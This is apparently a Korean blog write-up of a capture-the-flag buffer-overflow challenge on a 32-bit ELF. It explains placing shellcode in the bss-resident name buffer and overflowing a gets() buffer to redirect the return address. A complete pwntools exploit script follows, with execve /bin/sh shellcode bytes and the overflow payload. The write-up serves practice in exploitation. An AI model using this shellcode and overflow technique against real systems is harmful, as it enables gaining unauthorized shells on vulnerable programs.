반응형

32bit elf파일이 주어진다.

 

이번에는 shell함수를 주지는 않는다.

 

main함수를 보자.

 

간단하다

name에 50바이트만큼 입력을 받고, s에 gets()로 길이 제한없이 입력을 받는다.

s는 bp-14h에 존재한다.

 

 

 

&name을 더블클릭하면 나온다.

name이 어디에 있는가 보니, bss영역에 존재했다.

 

name에 쉘코드를 올려두고, ret주소를 0x0804A060로 덮어주면 된다.

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3003)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
bss = 0x0804A060
p.recvuntil(": ")
p.sendline(shellcode)
 
p.recvuntil(": ")
 
payload = "A" * 24
payload += p32(bss)
 
p.sendline(payload)
 
p.interactive()
cs
반응형

+ Recent posts